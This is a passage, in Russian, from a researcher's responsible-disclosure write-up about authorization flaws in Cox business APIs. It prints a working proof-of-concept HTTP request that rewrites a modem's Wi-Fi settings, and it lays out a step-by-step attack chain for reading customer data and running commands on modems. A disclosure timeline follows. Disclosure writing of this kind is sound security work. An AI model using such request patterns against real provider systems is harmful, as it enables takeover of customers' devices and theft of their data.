Единственное, что было верным в приведённом выше параметре, — это серийный номер устройства. Если этот запрос сработал, это значит, что я мог использовать параметр «encryptedValue» в API, который не обязательно должен иметь соответствующий ID учетной записи.
Я отправил запрос и увидел тот же HTTP-ответ, что и выше! Это подтвердило, что нам не нужны никакие дополнительные параметры, мы можем просто запросить абсолютно любое аппаратное устройство, просто зная MAC-адрес (а его легко получить, отправив запрос по имени клиента, получив UUID его учетной записи, а затем получив список всех его подключенных устройств через их UUID). Теперь у нас фул хаус.
Я сформировал следующий HTTP-запрос для обновления SSID MAC-адресов моего собственного устройства в качестве доказательства этой концепции:
POST /api/cbma/accountequipment/services/accountequipment/gatewaydevice/wifisettings HTTP/1.1
Host: myaccount-business.cox.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/plain, */*
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
Ma_transaction_id: 56583255-1cf3-41aa-9600-3d5585152e87
Connection: close
Content-Type: application/json
Content-Length: 431
{
"wifiSettings": {
"customerWifiSsid24": "Curry"
},
"additionalProperties": {
"customerWifiSsid24": [
"Curry"
]
},
"encryptedValue": "T0dFek1qTm1OakZoT1RrMk1HSTJPVE0wTnpBek5Ua3pPRFprT0dZeE9ESTZPamhoTnpVMU5UTmxNREF6T1RsaE5XUTVaams1WlRZek16TTNNMlJpWVdVek9qcENVMlp1TjJ0blVsTkNlR1ZhZDJsd05qZGhjWFo0TTJsaVJHSkhlU3N2TUhWVWFYZzJWVTByYzNsT2RYWklMek16VjJ4VldFYzJTMWx5VEVNMVRuSkxOVVF3VFhFek9UVmlUR2RGVFd4RUt6aGFUMnhoZHowOQ=="
}
Сработало? Он дал мне только пустой ответ 200 ОК. Я попытался повторно отправить HTTP-запрос, но время ожидания запроса истекло. Моя сеть была отключена. Запрос на обновление, должно быть, перезагрузил мое устройство.
Примерно через 5 минут моя сеть перезагрузилась. Имя SSID было обновлено на «Curry». Используя этот эксплойт, я мог писать и читать с любого чужого устройства.
Это подтверждает, что вызовы API для обновления конфигурации устройства работают. А значит, злоумышленник мог получить доступ к этому API, чтобы перезаписать настройки конфигурации, получить доступ к маршрутизатору и выполнить команды на устройстве. На тот момент у нас был тот же набор разрешений, что и у службы технической поддержки интернет-провайдера, и с помощью этого доступа мы могли использовать любое из миллионов устройств Cox, доступных через эти API.
Я связался с Cox и поделился подробностями об уязвимости. В течение шести часов они устранили открытые вызовы API, а затем начали работать над уязвимостями авторизации. На следующий день мне уже не удалось воспроизвести ни одну из уязвимостей.
Использование уязвимости
Эта серия уязвимостей продемонстрировала, как злоумышленник извне без каких-либо предварительных условий мог выполнять команды и изменять настройки миллионов модемов, получать доступ к личным данным любого бизнес-клиента и получать те же разрешения, что и служба поддержки интернет-провайдера.
Cox — крупнейший частный провайдер широкополосного доступа в США, третий по величине провайдер кабельного телевидения и седьмой по величине оператор телефонной связи в стране. У них миллионы клиентов, и они являются самым популярным интернет-провайдером в 10 штатах.
Пример сценария атаки:
Выберите бизнес-клиента Cox через открытые API, используя имя, номер телефона, адрес электронной почты или номер учётной записи.
Получите полную информацию об учётной записи, запросив UUID. Сюда входят MAC-адреса устройства, адрес электронной почты, номер телефона и адрес.
Запросите MAC-адрес оборудования, чтобы получить пароль Wi-Fi и подключённые устройства.
Выполняйте любые команды, обновляйте любые свойства устройства и захватывайте учётные записи жертвы.
Существовало более 700 открытых API, многие из которых давали доступ к функциям от имени администратора (например, запросы к подключённым устройствам модема). Каждый API страдал от одних и тех же проблем с разрешениями: повторное воспроизведение HTTP-запросов позволяло злоумышленнику запускать несанкционированные команды.
Послесловие
После того, как я сообщил об уязвимости компании Cox, они выяснили, использовалась ли эта уязвимость для атак в прошлом. Они ничего не обнаружили (сервис, в котором я обнаружил уязвимости, был запущен в 2023 году, а моё устройство было скомпрометировано в 2021 году). Cox также сообщили мне, что не имеют никакого отношения к IP-адресу DigitalOcean, а это означает, что моё устройство было взломано, но не с использованием обнаруженного мною метода.
Мне по‑прежнему хочется узнать, каким образом мое устройство было взломано, поскольку доступа к моему модему извне никогда не было. Я даже не входил на устройство из домашней сети.
Эта статья направлена на то, чтобы подчеркнуть уязвимости на уровне доверия между интернет‑провайдером и клиентскими устройствами, но модем мог быть скомпрометирован каким‑то другим, гораздо более скучным методом.
Чего я никогда не пойму, так это того, почему злоумышленник воспроизводил мой трафик? Он явно находился в моей сети и мог получить доступ ко всему, не будучи обнаруженными. Зачем повторять все HTTP‑запросы? Очень странно.
В любом случае, спасибо за внимание.
График
04.03.2024 — Сообщил об уязвимости компании Cox через программу ответственного раскрытия информации.
05.03.2024 — Уязвимость исправлена оперативно, все второстепенные конечные точки бизнес-аккаунтов возвращают ошибку 403 и больше не работают.
06.03.2024 - Написал Cox, что я больше не могу воспроизвести уязвимость.
07.03.2024 - Cox пишет, что начинают комплексную проверку безопасности
10.04.2024 — Сообщил Cox о намерении публично раскрыть информацию через 90 дней с момента обращения.
29.04.2024 – Общая ссылка на пост в блоге Cox